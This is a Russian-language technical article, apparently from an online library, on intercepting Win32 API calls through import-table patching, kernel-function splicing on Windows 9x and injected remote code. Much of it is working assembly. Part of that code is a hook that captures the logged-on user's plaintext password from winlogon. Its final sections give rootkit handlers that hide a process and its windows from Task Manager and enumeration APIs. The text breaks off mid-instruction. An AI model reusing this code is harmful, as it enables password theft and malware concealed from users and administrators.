Библиотека Интернет Индустрии I2R.ru |
|||
|
Система перехвата функций API платформы Win32 Во времена MS DOS ни одна серьезная программа не обходилась без
перехватов прерываний - сервисов системы для установки на них своих
процедур-обработчиков. Это было совершенно необходимо, например, для
обеспечения "псевдо-многозадачности" (pop up), реакции на таймер в режиме
реального времени, получения расширенной информации об одновременно нажатых
пользователем клавиш и т.п. Установка своих обработчиков могла
осуществляться даже без ведома системы, - правда, тогда была вероятность
того, что DOS выделит память с находящимся в ней обработчиком для какой-
либо программы, что чревато крахом системы. Для мелких резидентов это было
не страшно, а большие "защищались" несколькими способами - например,
маркированием области как используемой DOS в системных целях (установка
маркера 80h). Резиденты могли привести систему в нестабильное состояние.
Чтобы этого не случилось, разработчики должны были учитывать очень большое
число тонкостей и "подводных камней" ОС и принимать соответствующие меры. К
тому же, обработчики прерываний писались чаще всего на ЯА в целях экономии
памяти и увеличении скорости работы. Отсюда следует, что качественные
резиденты - столь необходимую в программировании под DOS технику - писали
только программисты довольно высокой квалификации. 2. Перехват вызовов API в системах Windows NT и Windows 9X Нельзя утверждать, что адреса функций даже в системных библиотеках
(например, Kernel32.dll) не изменяются в зависимости от версии ОС, ее сборки
либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая
база образа библиотеки (dll preferred imagebase) является константой,
которую можно изменять при компиляции. Более того, совсем не обязательно,
что dll будет загружена именно по предпочитаемому адресу, - этого может не
произойти в результате коллизии с другими модулями, динамически выделенной
памятью и т.п. Поэтому статический импорт функций происходит по имени модуля
и имени функции (либо ее номера - ординала), предоставляемой этим модулем.
Загрузчик PE файла анализирует его таблицу импорта и определяет адреса
функций, им импортируемых. В случае, если в таблице импорта указана
библиотека, не присутствующая в контексте, происходит ее отображение в
требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В
результате в требуемом месте определенной секции PE файла (имеющей атрибут
"readable") заполняется массив адресов импортируемых функций. В процессе
работы каждый модуль обращается к своему массиву для определения точки входа
в какую-либо функцию. Отсюда следует, что для перехвата функций в рамках
одного контекста с уже инициализированными модулями, работающими потоками
можно действовать двумя способами. + Так как исправляется только память модуля, в котором производится
перехват, то наш код будет вызываться как в результате вызовов функции как
старыми модулями, так и динамически подгружаемыми, так как адрес
перехватываемой функции не изменился - произведена лишь "врезка" нескольких
байтов. При вызове перехватываемой функции наш код обязательно вызовется. - В системах Win95/98 некоторые системные библиотеки (kernel32, user32 и
др.) загружаются в адресное пространство "2Gb, которое проецируется на все
контексты, присутствующие в системе. Это усложняет процесс перехвата их
функций, так как содержимое памяти свыше 2Gb не может быть изменено
стандартными документированными API функциями. Установить разрешение на
запись в эту область памяти может функция _PageModifyPermissions,
вызывающаяся с помощью kernel32!VxDCall0 и имеющая номер 1000dh. После
установки атрибута "writable" на необходимый регион памяти и осуществления
записи в него изменения произойдут во всех присутствующих контекстах
одновременно. Значит, код нашего обработчика должен располагаться по
одинаковым адресам во всех контекстах. Это возможно только если код будет
находиться выше 2Gb - этого можно добиться несколькими способами. Вот самые
распространенные из них: непосредственное указание требуемого imagebase
линкеру динамически загружаемой библиотеки при компиляции ("2Gb);
расположение кода в межсекционном пространстве какого-либо модуля,
загруженного выше 2Gb; выделение памяти, проецируемой на все контексты
(например, из файла подкачки) и копирование туда своего кода. Таким образом,
наш обработчик будет получать управление в результате вызова перехватываемой
функции в любом контексте. Если же необходимо осуществить перехват функции
только в определенном контексте, обработчик должен вызывать
GetCurrentProcessId() для получения сведений о вызывателе. Если же перехват
сужается до определенного модуля, то кроме идентификации текущего процесса
необходим анализ стека для определения вызывающего модуля. Другой метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика. + Осуществляется реентерабельность нашего обработчика, так как код
перехватываемой функции не изменяется вообще. - Уже инициализированные модули могут сохранить настоящий адрес функции
и впоследствии вызывать именно его, минуя наш обработчик.
2.2. Создание и исполнение удаленного кода Удаленный код - код, исполняемый вне контекста, изначально его
содержащего. Чтение-запись процессом памяти другого осуществляется функциями
kernel32!ReadProcessMemory и, соответственно, kernel32!WriteProcessMemory.
Синтаксис вызова этих функций идентичен; одним из параметров является хэндл
процесса, над которым производится операция - процесс "открывается" для
каких-либо (определенных) действий. Производится это функцией
kernel32!OpenProcess.
Когда компилятор встречает в исходном тексте вызов функции, которая
присутствует не в компилируемом исполняемом файле, а в некотором другом -
чаще всего, в dll, в простейшем случае он генерирует 'call' на этот символ.
Впоследствии линкер исправляет этот псевдовызов на вызов переходника
("stub"), используя библиотеку импорта, содержащую переходники для всех
экспортируемых символов в указанных библиотеках. Такие переходники состоят
из одной инструкции - 'jmp [x]', где x - адрес двойного слова в таблице
импорта PE файла. Эти адреса загрузчик PE файла заполняет корректными
значениями при инициализации модуля, опираясь на данные, указанные в таблице
импорта. IMAGE_IMPORT_BY_NAME STRUC IBN_Hint DW ? IBN_Name DB 1 DUP (?) ;длина не фиксирована IMAGE_IMPORT_BY_NAME ENDS IMAGE_THUNK_DATA STRUC UNION TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? TD_Ordinal DD ? TD_Function DD BYTE PTR ? TD_ForwarderString DD BYTE PTR ? ENDS IMAGE_THUNK_DATA ENDS IMAGE_IMPORT_DESCRIPTOR STRUC UNION ID_Characteristics DD ? ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ENDS ID_TimeDateStamp DD ? ID_ForwarderChain DD ? ID_Name DD BYTE PTR ? ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? IMAGE_IMPORT_DESCRIPTOR ENDS ID_OriginalFirstThunk и ID_FirstThunk содержат относительные виртуальные
адреса (RVA) структур IMAGE_THUNK_DATA, описывающие импортируемые функции. Модуль может экспортировать функции, реализация которых в нем не
присутствует, а лишь импортируется из другого модуля. Этот прием называется
"форвардинг функций". Его можно проиллюстрировать на примере wsock32.dll.
Эта библиотека экспортирует множество функций, часть из которых есть
переходники к функциям ws2_32.dll, а часть просто отсутствует в модуле: при
импорте отсутствующей, но экпортируемой функции из wsock32, загрузчик,
анализируя форварды wsock32, обнаруживает, что он должен экспортировать эту
функцию из другого модуля - в частности, из ws2_32.dll.
Код функции, осуществляющей вышеперечисленные шаги, может выглядеть так (форвардинг функций не учитывается): hook_api proc modbase:dword,modname:dword,\ procname:dword,hook_proc:dword local oldproc:dword local dummy:dword pushad @SEH_SetupFrame "jmp bad_exit" call IsBadCodePtr,hook_proc ; проверка корректности ; вызова test eax,eax jnz bad_exit push procname ; шаг 1 - узнаем ; адрес call GetModuleHandleA,modname ; перехватываемой ; функции call [realGetProcAddress],eax test eax,eax mov oldproc,eax jz bad_exit mov edi,modbase call IsBadReadPtr,edi,40h test eax,eax jnz bad_exit cmp word ptr [edi],'ZM' jnz bad_exit mov ebx,[edi.MZ_lfanew] push 0F8h add ebx,edi call IsBadReadPtr,ebx test eax,eax jnz bad_exit cmp dword ptr [ebx],'EP' jnz bad_exit mov esi,[ebx.NT_OptionalHeader\ ; шаг 2: получение .OH_DirectoryEntries\; адреса .DE_Import\ ; таблицы импорта .DD_VirtualAddress] or esi,esi jz bad_exit add esi,edi cmp esi,ebx jz bad_exit stc mov eax,[esi.ID_Name] test eax,eax jz no_imps next_imp_desc: ; шаг ь4: перебираем ; дескрипторы импорта push esi push edi nxtchar__: call patchthisidesk pop edi pop esi mov eax,[(esi\ +IMAGE_SIZEOF_IMPORT_DESCRIPTOR).ID_Name] add esi, IMAGE_SIZEOF_IMPORT_DESCRIPTOR test eax,eax jnz next_imp_desc no_imps: popad xor eax,eax jc simpleret mov eax,oldproc simpleret: @SEH_RemoveFrame ret bad_exit: @SEH_RemoveFrame popad xor eax,eax stc ret bad_exit4proc: pop eax jmp mismatch patchthisidesk: ; шаг ь3: ищем вход add esi,0ch ; перехватываемой call IsBadReadPtr,esi,8 ; функции в данном ; дескрипторе импорта sub esi,0ch test eax,eax jnz bad_exit4proc mov eax,[esi.ID_Name] test eax,eax jz bad_exit4proc mov esi,[esi.ID_FirstThunk] add esi,edi call IsBadReadPtr,esi,4 test eax,eax jnz bad_exit4proc mov eax,[esi] test eax,eax jz bad_exit4proc mov edi,oldproc next_thunk: cmp eax,edi jnz next_thunk__ call VirtualProtect,esi,1000h,4,offset dummy,esi pop esi mov eax,hook_proc mov [esi],eax ; шаг ь5: заменим адрес ; на свой clc next_thunk__: mov eax,[esi+4] ; проверим TD_Function ; следующего блока на 0 add esi,4 test eax,eax jnz next_thunk db 0c3h;ret hook_api endp 2.4. Сплайсинг функций ядра Windows 9X В Win9x, в отличие от WinNT/Win2k, память, начиная с 2Gb, спроецирована на все контексты, присутствующие в системе, то есть ее содержимое одинаково для всех процессов. В этом регионе памяти находятся модули ядра, объекты ядра и пользовательские объекты, доступные всем контекстам - проекции файлов. Документированный Windows API не предоставляет средств для внесения изменений в память "2Gb. VirtualProtect + WriteProcessMemory завершается неудачно. Дж. Рихтер в своей книге "Programming Applications for Microsoft Windows" так поясняет эту ситуацию: "On Windows 98, the main Windows DLLs (Kernel32, AdvAPI32, User32, and GDI32) are protected in such a way that an application cannot overwrite their code pages. You can get around this by writing a virtual device driver (VxD)". Однако эту проблему можно решить и без написания собственного VxD. Достаточно вызвать VxDCall0 _PageModifyPermissions. VxDCall0 - это всегда первая экспортируемая Kernel32.dll функция. Нижеследующий код разрешит на чтение/запись первую страницу kernel32 (идея впервые описана Vecna). call GetModuleHandleA,offset kernel32 mov ebx,eax mov eax,[ebx.MZ_lfanew] lea edi,[eax.ebx] mov esi,[edi.NT_OptionalHeader.\ OH_DirectoryEntries.DE_Export.\ DD_VirtualAddress] mov esi,[esi.ebx.ED_AddressOfFunctions] mov ecx,[esi.ebx] add ecx,ebx ;ecx==VxDCall0 shr ebx,12 push 020060000h push 00h push 01h push ebx push 001000dh ;_PageModifyPermissions call ecx Надо учитывать спроецированность памяти "2Gb, ведь если некоторый регион будет разрешен для записи, а потом его память будет изменена, то эти изменения произойдут одновременно во всех контекстах. Таким образом, если удастся изменить ядро для передачи управления некоторых функций другим обработчикам, расположенным в памяти "2Gb (память пользовательского процесса), то при вызове перехваченной функции процессом другого контекста произойдет сбой - по указанному адресу не окажется соответствующего кода обработчика. Следовательно, код глобальных обработчиков функций ядра необходимо располагать также в памяти "2Gb. Код в памяти "2Gb можно расположить несколькими способами. Если размер кода небольшой, то его можно уместить в межсекционное пространство какого-либо модуля ядра (размер кода не больше разницы между физической и виртуальной длиной секции PE модуля). Следующий код пытается найти удовлетворяющее этому требованию место в регионе, занятом kernel32 и, в случае успеха, копирует в найденное пространство код обработчика. call GetModuleHandle,offset kernel32 mov ebx,eax mov eax,[ebx.MZ_lfanew] movzx ecx,word ptr [eax.ebx.NT_FileHeader.\ FH_NumberOfSections] lea esi,[eax.ebx+SIZE IMAGE_NT_HEADERS] try_next_section: mov eax,[esi.SH_Characteristics] and eax,IMAGE_SCN_MEM_WRITE\ +IMAGE_SCN_MEM_READ\ +IMAGE_SCN_CNT_INITIALIZED_DATA cmp eax,IMAGE_SCN_MEM_WRITE\ +IMAGE_SCN_MEM_READ\ +IMAGE_SCN_CNT_INITIALIZED_DATA jne next_section mov eax,[esi.SH_SizeOfRawData] mov edi,[esi.SH_VirtualSize] sub eax,edi cmp eax,CODE_SIZE jb next_section add edi,[esi.SH_VirtualAddress] add edi,ebx jmp copy_code next_section: add esi,IMAGE_SIZEOF_SECTION_HEADER loop try_next_section jmp section_not_found copy_code: mov esi,offset IMPLANT_CODE mov ecx,CODE_SIZE cld rep movsb ;скопировать код в найденное пр-во Плюс этого метода в том, что процесс, осуществивший запись в
межсекционное пространство, никак не связан с этой памятью. Он может быть
закрыт, и память не будет освобождена. call CreateFileMappingA,0ffffffffh,NULL,\ PAGE_READWRITE,0,IMPLANT_SIZE,0 call MapViewOfFile,eax,FILE_MAP_WRITE+\ SECTION_MAP_EXECUTE,0,0,IMPLANT_SIZE mov edi,eax mov esi,offset IMPLANT mov ecx,IMPLANT_SIZE cld rep movsb С помощью этого метода можно выделить память сколь угодно большого
размера, но она будет иметь хозяина - процесс, ее выделивший. Поэтому если
процесс, установивший глобальный обработчик в память "2Gb завершится, то
память, им аллоцированная, освободится; любой вызов в ядре, приводящий к
передаче управления на эту память в лучшем случае приведет к аварийному
завершению процесса, чей поток совершил "незаконное" действие, а в худшем -
к краху системы. Следовательно, глобальный перехватчик функция ядра не
должен завершиться. Пример базонезависимого кода: call delta delta: pop ebp sub ebp,offset delta-code_start lea esi,[ebp+(offset _data-code_start)] ... _data db 'Text',0 Рассмотрим решение второй проблемы применительно к функциям ядра. Так как модули ядра присутствуют во всех контекстах по одному и тому же адресу, то для вызовов их функций из обработчиков достаточно построить в них переходники, а необходимые адреса функций в них будут записываться еще до копирования кода обработчика в регион >2Gb. Типичный код переходника и кода, его заполняющего, выглядит так: ; код в секции кода процесса-перехватчика call GetModuleHandleA,offset user32 call GetProcAddress,eax,offset msgboxa mov msgboxa_,eax ... ; код в секции данных процесса-перехватчика: ; он будет скопирован в память >2Gb _MessageBoxA:mov eax,12345678h org $-4 msgboxa_ dd 0 jmp eax Используя вышеприведенную технику, вызов функций ядра становится тривиальным. mov eax,[ebp+(offset _uType-code_start)] push eax lea eax,[ebp+(offset _caption-code_start)] push eax lea eax,[ebp+(offset _text-code_start)] push eax mov eax,[ebp+(offset _hWnd-code_start)] push eax call _MessageBoxA Но как быть в случае, когда необходимо вызвать функцию из библиотеки,
расположенной ниже 2Gb? В разных контекстах она может быть загружена (если
загружена) в результате коллизий по разным адресам - следовательно, ее адрес
нельзя заранее записать в переходник. В этом случае сначала нужно определить
адрес библиотеки в текущем контексте (если библиотека туда не загружена,
загрузить ее), а затем найти адрес требуемой функции. lea ebx,[ebp+(offset ws2_32-offset code_start)] call _GetModuleHandleA,ebx push ebp xor ebp,ebp or eax,eax jnz dllloaded call _LoadLibrary,ebx mov ebp,eax dllloaded: lea ecx,[ebp+(offset clsock-offset code_start)] call _GetProcAddress,ebx,ecx mov ecx,[ebp+(offset hSocket-offset code_start)] call eax,ecx call _FreeLibrary,ebp ; пройдет успешно, если pop ebp ; dll загрузили мы Итак, любая память доступна нам для чтения/записи, наш код может
выполняться корректно вне зависимости от его базы и вызывать любые API
функции. Теперь можно приступить к исправлению кода функций ядра для
передачи управления нашему обработчику. call GetProcAddress,ebx,offset lla mov edi,eax lea esi,[ebp+(offset lla_code-offset code_start)] push edi xchg esi,edi movsb movsd Затем изменим флаг разрешения записи атрибута страницы, содержащей начало перехватываемой функции, на истину. mov eax,[esp] pushad shr eax,12 push 020060000h push 00h push 01h push eax push 001000dh ;_PageModifyPermissions mov eax,[vxdcall0] call eax popad pop edi Построим 5-байтовый JMP в начале функции. mov al,0e9h stosb stosd ;прибавим 4 к edi lea eax,[ebp+(offset lla_entry-offset code_start)] sub eax,edi mov [edi-4],eax При таком методе организации сплайсинга обработчик перехваченной функции может выгдядеть так (синтаксис функции - 1 двойное слово): lla_entry: call swap_lla push dword ptr [esp+4] call _lla ;вызов настоящей функции call swap_lla ... ;какие-то действия ret 4 _lla: mov eax,12345678h org $-4 lla_ dd 0 jmp eax swap_lla: push esi edi ebp call delta delta: pop ebp sub ebp,offset delta-code_start lea esi,[ebp+(offset lla_code-code_start)] mov edi,[ebp+(offset lla_-code_start)] push eax mov eax,[edi] xchg [esi],eax mov [edi],eax mov al,[edi+4] xchg [esi+4],al mov [edi+4],al pop ebp edi esi ret 2.5. Методы установки глобальных перехватчиков Часто бывает необходимо перехватить какую-либо функцию глобально, т.е.
во всех текущих процессах сразу. К примеру, для достижения невидимости в
NT/w2k через функцию ntdll!NtQuerySystemInformation процесс-"призрак" должен
перебрать все остальные процессы и распространить свои обработчики на каждый
их них. Кроме этого, процесс должен позаботиться и о новых процессах - тех,
которые будут созданы после инсталляции его обработчика
NtQuerySystemInformation. Это непростая задача, так как процесс может быть
запущен множеством способов: shell32!ShellExecute*, kernel32!CreateProcess*,
ntdll!NtCreateProcess и другими. Большинство из них сводится к
NtCreateProcess. Также возникает проблема - процесс с привилегиями гостя не
может изменить память контекста, работающего с привилегиями System или Local
Administrator - например, Winlogon.exe, а именно он запускает самый
популярный менеджер задач для NT/w2k/XP: taskmgr.exe (с помошью функции
msgina!WlxStartApplication). Таким образом, на Winlogon.exe обработчик
NtCreateProcess распространить не удастся, и при нажатии пользователем
ctrl-shift-esc запущенный taskmgr "увидит" спрятанный процесс.
Код обработчиков NtCreateThread и CsrClientCallServer может выглядеть так: myNtCreateThread proc lpThreadHandle,DesiredAccess,\ lpObjectAttributes,ProcessHandle,lpClientId,\ lpInitialContext,lpUserStackDescriptor,\ CreateSuspended mov eax,pbi2 and [eax.UniqueProcessId],0 call NtQueryInformationProcess,ProcessHandle,\ ProcessBasicInformation,eax,pbisize,NULL push eax call [realNtCreateThread],lpThreadHandle,\ DesiredAccess,lpObjectAttributes,\ ProcessHandle,lpClientId,lpInitialContext,\ lpUserStackDescriptor,CreateSuspended pop ecx pop eax or ecx,ecx jl nctexit test eax,eax jl nctexit cmp CreateSuspended,FALSE je nctexit mov eax,pbi cmp [eax.UniqueProcessId],0 jne nctexit mov eax,pbi2 call NtQueryInformationProcess,ProcessHandle,\ ProcessBasicInformation,eax,pbisize,NULL nctexit: pop eax ret myNtCreateThread endp myCsrClientCallServer proc lpStruc,Par1,dwCommand,StrucSize call [realCsrClientCallServer],lpStruc,Par1,\ dwCommand,StrucSize cmp dwCommand,10000h jne cccsexit mov edx,lpStruc cmp dword ptr [edx+20h], 0 jl cccsexit mov eax,pbi2 mov ecx,[eax.UniqueProcessId] jecxz cccsexit pushad ... ;установка обработчиков popad cccsexit: ret myCsrClientCallServer endp При использовании метода исправления таблиц импорта в w9x можно
поступить аналогичным образом, перехватив kernel32!GetStartupInfoA. Рассмотрим метод изменения таблицы импорта модуля с целью перехвата
импортируемых им функций. 2.6.1. Получение описателя потока по его идентификатору в Windows 9X При внимательном изучении кода функции OpenProcess выясняется, что она
сводится к более мощной функции, в качестве параметров к которой передаются
флаги, флаг вложенности и некоторое значение, полученное из идентификатора
процесса путем операции XOR его с неким двойным словом. Результатом этой
операции является адрес структуры, описывающей процесс (Process Data Block). OpenProcess proc near dwFlags = dword ptr 4 inheritance = dword ptr 8 pid = dword ptr 0Ch push [esp+pid] call xorbyobsfucator test eax, eax jnz short pidconverted xor eax, eax jmp short bad_exit pidconverted:cmp byte ptr [eax], 6 ; (1) jz short OpenThread push 57h call sub_BFF7C991 mov ecx, 0FFFFFFFFh jmp short loc_BFF95CA1 OpenThread: mov ecx, 0 ; (2) mov edx, [esp+dwFlags] cmp [esp+inheritance], 1 adc ecx, 0FFFFFFFFh and edx, 1F0FFFh and ecx, 80000000h or ecx, edx mov edx, dword_BFFC9CDC push ecx push eax push dword ptr [edx] call SomePowerfulFunction ... Остается только узнать тот "magic dword", который используется для получения адреса PDB. Это можно сделать несколькими способами. Самый безопасный и быстрый - это воспользоваться известным для текущего процесса PDB, адрес которого находится по адресу fs:[30h]. Нужно использовать XOR на нем и значении, возвращаемом GetCurrentProcessId. Тогда возможный код функции w9x_OpenThread будет выглядеть следующим образом (предполагается использование TASM в качестве компилятора, так как ниже производится чтение адреса OpenProcess из таблицы прыжков (jump table), генерируемую TASM по умолчанию; MASM генерирует код другого характера - вызовы функций API производятся путем выполнения call [x], где x - адрес входа требуемой функции в таблице импорта модуля): w9x_OpenThread proc flags,inheritance,tid:dword local w9xopenthread:dword pushad call GetCurrentProcessId xor eax,fs:30h mov ebx,eax lea esi,OpenProcess+2 ; jmp far [xxxx] lodsd ; xxxx xchg eax,esi lodsd ; [xxxx]=KERNEL32!OpenProcess lea esi,[eax+24h] lodsd ; [OpenProcess+24h] mov edi,esi cmp eax,0b9h ; mov ecx,dword ptr 0 jnz bad_exit sub edi,4 mov w9xopenthread,edi xor ebx,tid lea esi,[ebx+2] call IsBadWritePtr,esi,2 or eax,eax jnz bad_exit xchg eax,ebx mov eax,w9xopenthread call eax,flags,inheritance,tid mov [esp.Pushad_eax],eax popad ret bad_exit: popad call SetLastError,ERROR_ACCESS_DENIED xor eax,eax ret w9x_OpenThread endp 2.6.2. Получение описателя потока по его идентификатору в Windows NT В Windows NT (начиная с версии 3.51) присутствует недокументированная функция ntdll!NtOpenThread, позволяющая получать описатель потока по идентификатору процесса - хозяина и идентификатору самого потока. Функция проверяет привилегии потока, вызвавшего ее, так что она не угрожает стабильности системы. Код функции находится целиком в ntoskrnl.exe, располагающейся выше 2Gb и исполняющейся в kernel mode, поэтому обычный процесс не может изменить логику выполнения этой функции. Ее прототип несколько нестандартен для WINAPI (это переходник на сервис ntoskrnl.exe, следовательно, прототип - NTKERNELAPI): NTKERNELAPI NTSTATUS NtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL ); где DWORD ClientId[2]; ClientId[0] = TargetPID; ClientId[1] = TargetTID; Струтура Object_Attributes должна располагаться в памяти по адресу,
выравненному на 1000h. В противном случае функция возвратит ошибку -
STATUS_DATATYPE_MISALIGNMENT. Для выделения памяти с начальным адресом,
удовлетворяющим такому условию, можно воспользоваться стандартной функцией
kernel32!VirtualAlloc. nt_OpenThread proc flags,inheritance,tid,pid:DWORD local thandle:DWORD local pntot:dword local _tid:dword local _pid:dword mov eax,tid mov _tid,eax mov eax,pid mov _pid,eax call GetModuleHandleA,offset ntdll call GetProcAddress,eax,offset ntopenthread or eax,eax jz baderror mov pntot,eax call VirtualAlloc,0,100,1000h,40h mov ebx,eax xchg eax,edi push 18h pop eax stosd xor eax,eax push 5 pop ecx rep stosd lea ecx,thandle lea edx,_pid and dword ptr [ecx],0 call [pntot],ecx,1f0000h,ebx,edx mov eax,thandle call VirtualFree,ebx,0,8000h,eax call GetCurrentProcess pop ebx lea ecx,thandle and dword ptr [ecx],0 call DuplicateHandle,eax,ebx,eax,\ ecx,1f0fffh,inheritance,\ DUPLICATE_CLOSE_SOURCE mov eax,thandle ret baderror: xor eax,eax ret nt_OpenThread endp 2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP В kernel32 этих операционных систем присутствует документированная функция OpenThread, использование которой делает задачу тривиальной. Синтаксис функции таков (он практически дублирует синтаксис OpenProcess): HANDLE OpenThread( DWORD dwDesiredAccess, // access right BOOL bInheritHandle, // handle inheritance option DWORD dwThreadId // thread identifier ); 3. Приложения. Примеры обработчиков Примеры обработчиков перехваченных функций методом сплайсинга обсуждались в соответствующей главе; рассмотрим более подробно обработчики, внедренные путем исправления таблицы импорта. Любой глобальный обработчик какой-либо функции под NT должен позаботиться о распространении себя на все модули всех процессов, поэтому необходимо перехватывать функцию загрузки нового модуля, чтобы применять перехваты к свежесозданным модулям. Ранее отмечалось, что подобной функцией должна быть ntdll!LdrLoadDll. Ниже приведен простейший ее обработчик: myLdrLoadDll proc pSearchPath:dword,something:dword,\ pUniStrDllName:dword,pImageBase call [realLdrLoadDll],pSearchPath,something,\ pUniStrDllName,pImageBase mov eax,pImageBase call hookmodule,dword ptr [eax] ret myLdrLoadDll endp Однако такой метод перехвата LdrLoadDll слишком наивен: после вызова
настоящей функции и до возвращения управления к нашему обработчику
произойдет вызов найденной в проинициализированном модуле точки входда
(DllEntry) с причиной DLL_PROCESS_ATTACH. Код, находящийся в DllEntry, может
определить адреса требуемых функций с помощью неперехваченного
GetProcAddress (который, естественно, возвратит истинные значения адресов),
так как адрес самого GetProcAddress в таблице импорта будет заполнен
загрузчиком PE - наш обработчик LdrLoadDll еще "не успеет" изменить его. myLdrLoadDll proc pSearchPath:dword, Something:dword,\ pUniStrDllName:dword, pImageBase:dword push pSearchPath,Something,pUniStrDllName,pImageBase push offset theend push eax call LdrGetDllHandle,TRUE,0,pUniStrDllName,esp test eax,eax ; был ли модуль загружен ; ранее? pop ecx mov eax,realLdrLoadDll jnl normalcall ; в NT4 LdrLoadDll ; начинается командами ; push ebp | mov ebp,esp | ; push byte checkNT4: xor ecx,ecx cmp dword ptr [eax],6AEC8B55h jne checkw2k ; для изменения адреса возврата изменим стек сами push ebp mov ebp,esp add eax,3 mov cl,4 jmp specialcall ; w2k LdrLoadDll начинается командой push 1 checkw2k: cmp word ptr [eax],016Ah jne normalcall ;возвратимся в analyze specialcall: mov [esp+ecx],offset analyze push FALSE ; запретим вызов ; DllMain'ов inc eax inc eax normalcall: jmp eax analyze: push eax ; сохраним код возврата push edi sub esp,80h*4 mov eax,fs:18h mov eax,[eax+30h] ; PEB mov ecx,[eax+_PEB.Ldr] ; начало описателя модулей ; процесса xor edx,edx add ecx,_PEB_LDR_DATA.\ InInitializationOrderModuleList.Flink mov eax,[ecx] mov edi,esp jmp first0 nextentry: mov eax,[eax+LDR_MODULE.\ LM_InInitializationOrderModuleList.Flink] first0: cmp eax,ecx ; последний элемент ; списка ссылается на первый je allentries ; выберем среди модулей процесса непроинициалированные, ; пометим их как инициализированные и сохраним их DllMain для ; инициализации and [eax.LM_Flags],NOT LOAD_IN_PROGRESS test [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED jne nextentry or [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED cmp [eax.LM_EntryPoint],edx je nextentry stosd jmp nextentry allentries: and [edi],edx mov edi,esp initloop: mov eax,[edi] test eax,eax je initdone add edi,4 ; изменим импорт у модуля call hookmodule,[eax.LM_BaseAddress] ; сделаем DLL_PROCESS_ATTACH сами push eax mov ecx,[eax.LM_EntryPoint] or ecx,ecx jz skipcalldllmain call ecx,[eax.LM_BaseAddress],DLL_PROCESS_ATTACH,NULL skipcalldllmain: mov ecx,eax pop eax or [eax.LM_Flags],ALLOW_DLL_PROCESS_DETACH or ecx,ecx jne initloop ; DllMain возвратил ошибку - выгрузим модуль и исправим код выхода mov dword ptr [esp+80h*4+4],\ STATUS_DLL_INIT_FAILED call [realLdrUnloadDll],[eax.LM_BaseAddress] initdone: add esp,80h*4 pop edi pop eax theend: ret myLdrLoadDll endp Windows NT и Windows 2000 всех SP содержат "уязвимость" следующего рода:
обе эти ОС после логона содержат пароль текущего пользователя,
"зашифрованный" операцией XOR с ключом в 1 байт (!), и при разблокировании
станции происходит дешифрование пароля и сравнивание двух строк на
совпадение. Если строки не совпадают, станция не разблокировывается. В
защиту Microsoft говорит только тот факт, что код, дешифрующий пароль,
выполняется в контексте winlogon, то есть для его изменения либо перехвата
необходима привилегия SeDebugPrivilege, которая включена в большинстве
случаев только у администраторов. Однако, если администратор отлучился и
оставил машину незаблокированной, то, запустив программу под правами
администратора, можно узнать его пароль в чистом виде. myRtlRunDecodeUnicodeString proc key:dword,unistring:dword local decodebuff:dword local dummy:dword push ebx mov ebx,unistring add ebx,4 call IsBadReadPtr,ebx,1 or eax,eax jnz justcall mov ebx,[ebx] mov decodebuff,ebx justcall: pop ebx call [realRtlRunDecodeUnicodeString],key,unistring or eax,eax jz notme call lstrcpyW,offset somebuff,decodebuff call CreateThread,NULL,NULL,offset msgboxthrd,\ offset somebuff,NORMAL_PRIORITY_CLASS,\ offset dummy call CloseHandle,eax notme: ret myRtlRunDecodeUnicodeString endp При столь большой распространенности всяческих троянов, бэкдоров и т.п. программ, чье написание подпадает под ст. 272-274 УКРФ, становится непонятно, почему так редко среди них встречаются по-настоящему самомаскирующиеся программы. Большинство из них завершает свой маскировочный процесс на вызовах ShowWindow(mainwindow.handle,SW_HIDE); _rsp RSP=GetProcAddress(GetModuleHandle("kernel32.dll"), "RegisterServiceProcess"); if (RSP) RSP(GetCurrentProcessId(),1); Этот код защищает только от нажатия ctrl-alt-del в w9x и ME. Любой просмотрщик процессов и окон немедленно обнаружит такой процесс. Чтобы этого не случилось, в winNT требуется перехватить NtQuerySystemInformation для "процессной" невидимости и EnumWindows, EnumThreadWindows, EnumChildWindows для "оконной". Также, желательно было бы спрятать нечто "слушающее" на каком-либо TCP/UDP порту от команд типа "netstat -a". Все вышеперечисленное осуществляет код: MyNtQuerySystemInformation proc SystemInformationClass,\ SystemInformation,Length, ResultLength uses ebx esi call dword ptr [realNtQuerySystemInformation], SystemInformationClass,SystemInformation,\ Length,ResultLength or eax,eax jl theend cmp SystemInformationClass,SystemProcessInformation jne theend onceagain: mov esi,SystemInformation getnextpidstruct: mov ebx,esi cmp dword ptr [esi],0 je theend add esi,[esi] mov ecx,[esi+44h] pushad ; определим PID - "невидимку" call FindWindowA,offset wnd2hide,0 call GetWindowThreadProcessId,eax,offset mypid popad cmp ecx,mypid jne getnextpidstruct mov edx,[esi] test edx,edx je fillzero add [ebx],edx ; "перебросим" указатель ; следующей записи через себя: ; тем самым в результате прохода ; по этой структуре информация ; о нас не обнаружится jmp onceagain fillzero: and [ebx],edx jmp onceagain theend: ret myNtQuerySystemInformation endp myEnumWindows proc enumproc:dword,enumparam:dword cmp oldenumproc,0 je iambusy call [realEnumWindows],enumproc,enumparam ret iambusy: push enumproc pop oldenumproc call [realEnumWindows],offset mylenum,enumparam and oldenumproc,0 ret myEnumWindows endp myenum proc enumhwnd:dword,b:dword call FindWindowA,offset wnd2hide,0 or eax,eax je calloldenumproc cmp eax,enumhwnd ; это наше окно? mov eax,1 je skipoldenumproc ; да, пропустим вызов ; коллбэка calloldenumproc: call [oldenumproc],enumhwnd,b skipoldenumproc: ret myenum endp myEnumChildWindows proc parentwnd:dword,enumproc_ecw:dword,\ enumparam_ecw:dword cmp oldecwproc,0 je iambusy_ecw call [realEnumChildWindows],parentwnd,enumproc_ecw,\ enumparam_ecw ret iambusy_ecw: call FindWindowA,offset wnd2hide,0 or eax,eax jz iamnotrunning cmp 